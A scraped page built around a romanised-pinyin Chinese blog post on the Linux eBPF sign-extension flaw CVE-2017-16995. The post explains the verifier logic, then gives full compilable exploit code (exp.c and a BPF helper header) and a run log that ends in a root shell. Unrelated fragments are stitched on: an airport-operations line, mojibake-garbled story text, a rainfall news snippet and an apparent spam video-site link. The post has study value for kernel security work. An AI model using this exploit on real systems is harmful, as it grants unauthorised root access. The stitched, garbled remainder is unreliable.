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tongguozhetaopingtai，jichangyunyingzhihuiguannenggouduijichangdeshishiyunyingzhuangtaiyilanwuyi，congershixiangaoxiaodiaoduguanli，tishengjichangyunyingxiaolv。CVE-2017-16995 ebpf fuhaokuozhanloudongxuexibiji2020-04-10 14:07·zhouzhouxueanquanjintiandewenzhangshi i chunqiuluntanzuozhePwnRabb1tyuanchuangdewenzhang，guanyuCVE-2017-16995 ebpf fuhaokuozhanloudongdexuexibiji，wenzhangpianfujiaochang，yueduyue12fenzhong，wenzhangweijingxukejinzhizhuanzai！loudongfenxiguanyuzhegeloudongwangshangyijingyouhenduodewenzhangfenxiliao，zhelibuzuotaiduomiaoshu，zhijiluyixiebijiaozhongyaodedian。shouxianshiebpf，shangyizhangtu：ebpfshouxianxuyaoring3chuanruyiduanzhiling(chuandaoJIT)，tahuizaiBPF_PROG_RUNlizuobaoguolv, neihehuishenqingyikuaigongxiangneicun(MAP)，neihedeshujujingguoguolvzhihoufangdaoMAPlimian，ranhouring3jiukeyiduxieMAPlaihuoquneiheshuju。zhegeloudongjiandanlaishuojiushifuhaokuozhanmeiyoujianchahao，xiangqianmianshuode，ebpffenchengverifierheBPF_PROG_RUN lianggebufen。chuanrudezhilingqishijiushiyuanbenx64shangzhilingdeyigeyingshe，tahuijianchazhilingdeCFG，shibushiyoufeifaneicunfangwenzhileide（ruguokeyidehuajiuzhijieshineihedaimazhuruliao，keyirenyizhixingdaima），xiaolvshangdekaolv，huihuluediaoyixiefenzhidejiancha，xiangxiamianzheyang，r9dezhigudingshi0xffffffff，namejiubuhuitiaozhuandao[4]debufen，suoyijiubuyongjianchataliao，jieshengshijian。 ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4shouxiankanshangmiandiyitiaozhilingALU_MOV_K(9,0xffffffff)，tadengxiaoyur9 = 0xffffffff，duiyingdedaimazai：https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1782 if (class == BPF_ALU || class == BPF_ALU64) { err = check_alu_op(env, insn); if (err) return err; } else if (class == BPF_LDX) {diaoyongcheck_alu_ophanshu，zuihoudiaoyongregs[insn->dst_reg].imm = insn->imm;，zhelidelijishushiyongsigned intbaocunde。//ptype struct reg_statetype = struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; };}///* check validity of 32-bit and 64-bit arithmetic operations */static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){ struct reg_state *regs = env->cur_state.regs; u8 opcode = BPF_OP(insn->code); int err;//... } else if (opcode == BPF_MOV) {//.. if (BPF_SRC(insn->code) == BPF_X) { //... } else {// BPF_K <=========================================== /* case: R = imm * remember the value we stored into this reg */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit }//... return 0;}ranhoudiertiaozhilingJMP_JNE_K(9,0xffffffff,2)，qijianchazaicheck_cond_jmp_ophanshuli，zheshihouyongdeimmyiranshisigned intleixing，ranhouhouxujianchadeshihoufaxianqianmianr9heJMP_JNE_Kdeimmyiyang，yushijiubuqujiancha[4]kaishidezhilingliao。/* ptype struct reg_statetype = struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; };}*/static int check_cond_jmp_op(struct verifier_env *env, struct bpf_insn *insn, int *insn_idx){ struct reg_state *regs = env->cur_state.regs; struct verifier_state *other_branch; u8 opcode = BPF_OP(insn->code); int err; //.... } else if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE)) { if (opcode == BPF_JEQ) { //... } else { /* detect if (R != imm) goto * and in the fall-through state recognize that R = imm */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm; } } if (log_level) print_verifier_state(env); return 0;}ranhoudaoliaoyunxingdezhihou，duiying__bpf_prog_run hanshu：https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195ALU_MOV_K：DST=(u32)IMMzhegeshihouDST=0xffffffffJMP_JNE_K：bijiaoDSTheIMM，cishiIMMshisigned intleixing，DST shi uint64_t leixing， IMMhuizuoweikuozhan，yuanlaide0xffffffffyejiushi-1biancheng0xffffffff ffffffff，0xffffffff != 0xffffffff ffffffff，yushijiuhuitiaodaoqianmianzhilingdeLD_IMM_DW(9,1,3)， // [4] r9=mapfdkaishizhixing，verifrierdeshihoubingmeiyouzheyiduanzhilingzuojiancha，zheshihoujiukeyizaineihezuorenyidaimazhixingliao。#define DST regs[insn->dst_reg] // uint64_t#define SRC regs[insn->src_reg] // uint64_t#define FP regs[BPF_REG_FP] #define ARG1 regs[BPF_REG_ARG1] #define CTX regs[BPF_REG_CTX] #define IMM insn->imm // signed int //..static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn){ u64 stack[MAX_BPF_STACK / sizeof(u64)]; u64 regs[MAX_BPF_REG], tmp;//..... ALU_MOV_K: DST = (u32) IMM; CONT;//... JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT;//...}womenkeyixieyiduandaimayanzhengyixia：#include #include #include #include #include int main(int argc,char **argv){ setbuf(stdout,0); int imm = 0xffffffff; uint64_t dst = (uint32_t)0xffffffff; if( dst != imm){ printf("vuln\n"); } return 0;}shuchudejieguoshivuln，jiexialaishiruheliyong。loudongliyongloudongliyongdehua，qianmiandefenxiwomenzhidaokeyizaineiherenyidaimazhixing，shouxieebpfdezhiling(qishijiuhewomenshouxiehuibianyiyang)，jibenliyongsiluruxia：xieluchutask_structdedizhijiezhutask_structdizhixieluchucreddizhizhijieneicunxiegaiuid，gid，ranhou/bin/sh getshellfuxiandehuanjingwoyongdeneiheshi4.4.110banben, fujianzhongyouwodeconfigwenjian，zhuyaoshijiashangCONFIG_BPF=y heCONFIG_BPF_SYSCALL=yzhelishiyongdebpfzhilingruxia，canzhaopandashifudefenxi： ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit// xiamianzhilingbuhuizuojiancha LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] padding //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0//fixup_bpf_calls JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0// map[0] == 0 renyidizhidu JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit// map[0] == 1 leak rbp addr JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 (rbp) JMP_EXIT(), // [38] exit// map[0] == 2 renyidizhixie STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exitshouxianshir6=map[0]，r7=map[1]，r8=map[2] (map shiqianmiantidaodegongxiangneicun)ranhoushisangepanduan：map[0]==0shi，genju map[1] dezhilaiduneicun；map[0]==1shi，huoqurbpdezhi==>addr & ~(0x4000 - 1); keyiduqudao task_struct dedizhi；map[0] ==2shi，*map[1]= map[2]([r7]=r8)。expwanzhengexp ruxia , exp.c#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include "bpf_insn_helper.h"typedef uint32_t u32;typedef int32_t s32;typedef uint64_t u64;typedef int64_t s64;void logs(char *tag,char *buf){ printf("[ s]: "); printf(" %s ",tag); printf(": %s\n",buf);}void logx(char *tag,uint32_t num){ printf("[ x] "); printf(" %-20s ",tag); printf(": %-#8x\n",num);}void loglx(char *tag,uint64_t num){ printf("[lx] "); printf(" %-20s ",tag); printf(": %-#16lx\n",num);}void bp(char *tag){ printf("[bp] : %s\n",tag); getchar();}void init(){ setbuf(stdin,0); setbuf(stdout,0);}int mapfd,progfd;int sockets[2];#define LOG_BUF_SIZE 65536#define PROGSIZE 328#define PHYS_OFFSET 0xffff880000000000#define CRED_OFFSET 0x5b0 //0x5f8#define UID_OFFSET 0x4char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));}static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1);}static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n);}#define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg();static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value;}static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2);}static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val);}static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1);}static void pwn(void) { printf("pwning\n"); uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); loglx("fpsome",fp); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid /*uidptr = credptr + 4; // uid*/ if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); __write(uidptr+0x8, 0); __write(uidptr+0x10, 0); if (geteuid() == 0) { printf("spawning root shell\n"); system("/bin/sh"); exit(0); } __exit("not vulnerable?");}int main(int argc,char **argv){ init(); struct bpf_insn insns[] = { ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0 JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 JMP_EXIT(), // [38] exit STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exit }; /*for(int i=0;i#define ALU_NEG BPF_ALU | BPF_NEG#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K#define F_ALU64_NEG BPF_ALU64 | BPF_NEG #define BPF_INSN_NEG \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define ALU_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU64_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU64_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)#define JMP_OP_K(OP,DST,IMM,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define JMP_OP_X(OP,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })#define F_JMP_JA BPF_JMP | BPF_JA #define F_JMP_CALL BPF_JMP | BPF_CALL #define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X#define JMP_EXIT() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define JMP_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = FUNC \ })#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)// [ det_reg + off ] = src#define STX_MEM_OP(SIZE,DST,OFF,SRC) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ dst_reg + off ] = IMM#define ST_MEM_OP(SIZE,DST,OFF,IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)#define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC)#define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC)#define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC)#define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC)#define LD_ABS_W BPF_LD | BPF_ABS | BPF_W #define LD_ABS_H BPF_LD | BPF_ABS | BPF_H #define LD_ABS_B BPF_LD | BPF_ABS | BPF_B #define LD_IND_W BPF_LD | BPF_IND | BPF_W #define LD_IND_H BPF_LD | BPF_IND | BPF_H #define LD_IND_B BPF_LD | BPF_IND | BPF_B // dst_reg = [src_reg + off ]#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ src_reg + off ] = IMM#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM \ })#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)#define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF)#define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF)#define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF)#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)#endifyunxingdexiaoguoruxia：~ $ /exp [ x] insns : 0x148 mapfd finished progfd finish socketpair finished pwning [lx] fpsome : 0xffff8800001b7cc0 task_struct = ffff88000d002e00 uidptr = ffff88000dc11f04 spawning root shell /home/pwn # id uid=0(root) gid=0 groups=1000 /home/pwn # xiaojiecve-2017-16995jiushifuhaodekuozhanmeiyoujianchahao，zuizhongkeyirenyidaimazhixing，zhegejieduandeebpfhuanshiganggangqibu，daimahuanhenshao，houmiantianjialiaohenduoxindetexing，jianchadeshihouyouhuayeshiyigebucuodeliyongdian。
父(贵耻)母(惭耻)也(驰别)在(窜补颈)看(碍补苍)到(顿补辞)她(罢补)完(奥补苍)全(蚕耻补苍)成(颁丑别苍驳)为(奥别颈)一(驰颈)个(骋别)女(狈惫)人(搁别苍)后(贬辞耻)，一(驰颈)时(厂丑颈)间(闯颈补苍)无(奥耻)法(贵补)接(闯颈别)受(厂丑辞耻)。
辩颈耻谤颈诲别测补苍驳驳耻补苍驳蝉补锄补颈测耻补苍锄颈濒颈，驳耻辞箩颈补诲别蹿补苍驳诲颈苍驳蝉丑补苍驳辫颈补辞锄丑耻辞锄耻辞锄耻辞肠丑耻颈测补苍。箩颈补谤别苍锄丑颈箩颈补苍诲别产耻虫颈苍谤别苍丑别飞耻丑耻颈测颈箩颈苍驳测补苍虫颈补辞测耻苍蝉补苍，丑耻补迟颈测别产耻锄补颈蝉丑颈诲补苍测辞耻丑别尘补颈测耻补苍，别谤蝉丑颈肠丑辞苍驳尘补苍濒颈补辞虫颈苍驳蹿耻丑别虫颈飞补苍驳。锄补颈虫耻苍濒颈补苍诲别谤颈锄颈濒颈，迟补蝉丑别苍辩颈诲别肠丑补苍驳驳补辞濒颈补辞20濒颈尘颈，谤补苍驳迟补尘补苍锄耻濒颈补辞肠丑别苍驳濒颈补辞测颈驳别濒补苍辩颈耻测耻苍诲辞苍驳测耻补苍诲别产颈补辞锄丑耻苍。
首(Shou)发(Fa)2024-07-01 07:41·喜(Xi)欢(Huan)小(Xiao)妹(Mei)
可是，正当韩家人拍完了全家福，韩全新兴高采烈地收拾行囊时刻准备出发去上海的时候，一件奇怪的事情发生了！河南南阳遭遇极端暴雨，社旗大冯营24小时雨量超600毫米《GTV小蓝视频网站链接知乎》高清不卡在线观看 - 全集...
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